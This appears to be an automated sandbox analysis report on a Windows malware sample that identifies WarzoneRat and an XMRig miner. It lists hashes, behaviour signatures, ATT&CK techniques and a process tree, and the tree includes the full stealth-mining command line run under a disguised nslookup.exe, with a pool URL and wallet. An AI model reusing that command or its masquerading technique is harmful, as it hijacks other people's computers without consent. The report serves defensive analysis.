Analysis

  • max time kernel
    141s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    28-05-2021 10:52

General

  • Target

    services.exe

  • Size

    113KB

  • MD5

    4e9f2ab42f55d659b90079a3bb75858c

  • SHA1

    b7481079ec7a825f454bea6d7bf2788d7e286523

  • SHA256

    ac3ac2c7989618e67564ccfad54facd8f4ec7b0ade1e09f323f1d940f3db8ede

  • SHA512

    bba8850ebd6617df9240e4aecd334f81fdb33cf7f3ff2f8973bfee15a45b78c656b96b162660068d558df314ca7b6266cc13f407b8f652d2002512d68e0804f3

Malware Config

Signatures

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\services.exe
    "C:\Users\Admin\AppData\Local\Temp\services.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:500
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe"
      2⤵
        PID:2720
      • C:\Users\Admin\AppData\Roaming\BDCyrmoKI.exe
        "C:\Users\Admin\AppData\Roaming\BDCyrmoKI.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\System32\nslookup.exe
          C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo=argon2/chukwav2 --coin=turtlecoin --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=trtl.pool.mine2gether.com:3335 --user=TRTLuy4Ue5ocHLLdbRLANJAv6vV2aPSvpFbqxhYARMpV6Cck2KRwwD7TCe85xrAJdPfJ4P92NQFtWbXkZ3SWraLmaMpYUJ8vWpM --pass= --cpu-max-threads-hint=30 --donate-level=5 --cinit-idle-wait=3 --cinit-idle-cpu=90 --cinit-stealth
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:724

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    1
    T1081

    Discovery

    System Information Discovery

    1
    T1082

    Collection

    Data from Local System

    1
    T1005

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\BDCyrmoKI.exe
      MD5

      6179cd5cbe2a3f056a680acf8698bd8b

      SHA1

      aa65294c659db581e01dad3a4d456415d901e45f

      SHA256

      b2d5aaeab34c2d58d8eac8d32c0124dbd31f6e1f427277337bc56df43bb2caae

      SHA512

      36d5c817de9a62b49a42e979a8f0b0745cf2381418f71f833fefa42ed40bce44f30a5cee90711161d3b38139c33ff9800633e6a02fe667286aa7be980bc1113a

    • C:\Users\Admin\AppData\Roaming\BDCyrmoKI.exe
      MD5

      6179cd5cbe2a3f056a680acf8698bd8b

      SHA1

      aa65294c659db581e01dad3a4d456415d901e45f

      SHA256

      b2d5aaeab34c2d58d8eac8d32c0124dbd31f6e1f427277337bc56df43bb2caae

      SHA512

      36d5c817de9a62b49a42e979a8f0b0745cf2381418f71f833fefa42ed40bce44f30a5cee90711161d3b38139c33ff9800633e6a02fe667286aa7be980bc1113a

    • \Users\Admin\AppData\Local\Temp\freebl3.dll
      MD5

      ef12ab9d0b231b8f898067b2114b1bc0

      SHA1

      6d90f27b2105945f9bb77039e8b892070a5f9442

      SHA256

      2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

      SHA512

      2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

    • \Users\Admin\AppData\Local\Temp\mozglue.dll
      MD5

      75f8cc548cabf0cc800c25047e4d3124

      SHA1

      602676768f9faecd35b48c38a0632781dfbde10c

      SHA256

      fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

      SHA512

      ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

    • \Users\Admin\AppData\Local\Temp\msvcp140.dll
      MD5

      109f0f02fd37c84bfc7508d4227d7ed5

      SHA1

      ef7420141bb15ac334d3964082361a460bfdb975

      SHA256

      334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

      SHA512

      46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

    • \Users\Admin\AppData\Local\Temp\nss3.dll
      MD5

      d7858e8449004e21b01d468e9fd04b82

      SHA1

      9524352071ede21c167e7e4f106e9526dc23ef4e

      SHA256

      78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

      SHA512

      1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

    • \Users\Admin\AppData\Local\Temp\softokn3.dll
      MD5

      471c983513694ac3002590345f2be0da

      SHA1

      6612b9af4ff6830fa9b7d4193078434ef72f775b

      SHA256

      bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

      SHA512

      a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

    • \Users\Admin\AppData\Local\Temp\vcruntime140.dll
      MD5

      7587bf9cb4147022cd5681b015183046

      SHA1

      f2106306a8f6f0da5afb7fc765cfa0757ad5a628

      SHA256

      c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

      SHA512

      0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

    • memory/500-121-0x0000000005320000-0x00000000053A4000-memory.dmp
      Filesize

      528KB

    • memory/500-115-0x0000000004230000-0x000000000436C000-memory.dmp
      Filesize

      1.2MB

    • memory/724-135-0x0000000140000000-0x0000000140758000-memory.dmp
      Filesize

      7.3MB

    • memory/724-134-0x00000195FE2F0000-0x00000195FE310000-memory.dmp
      Filesize

      128KB

    • memory/724-132-0x0000000140000000-0x0000000140758000-memory.dmp
      Filesize

      7.3MB

    • memory/724-133-0x00000001402EBC4C-mapping.dmp
    • memory/2616-119-0x0000000000B40000-0x0000000000B41000-memory.dmp
      Filesize

      4KB

    • memory/2616-130-0x000000001C870000-0x000000001C872000-memory.dmp
      Filesize

      8KB

    • memory/2616-131-0x00000000015B0000-0x00000000015BA000-memory.dmp
      Filesize

      40KB

    • memory/2616-129-0x0000000001560000-0x0000000001561000-memory.dmp
      Filesize

      4KB

    • memory/2616-128-0x000000001CC80000-0x000000001CE84000-memory.dmp
      Filesize

      2.0MB

    • memory/2616-116-0x0000000000000000-mapping.dmp
    • memory/2720-114-0x0000000000000000-mapping.dmp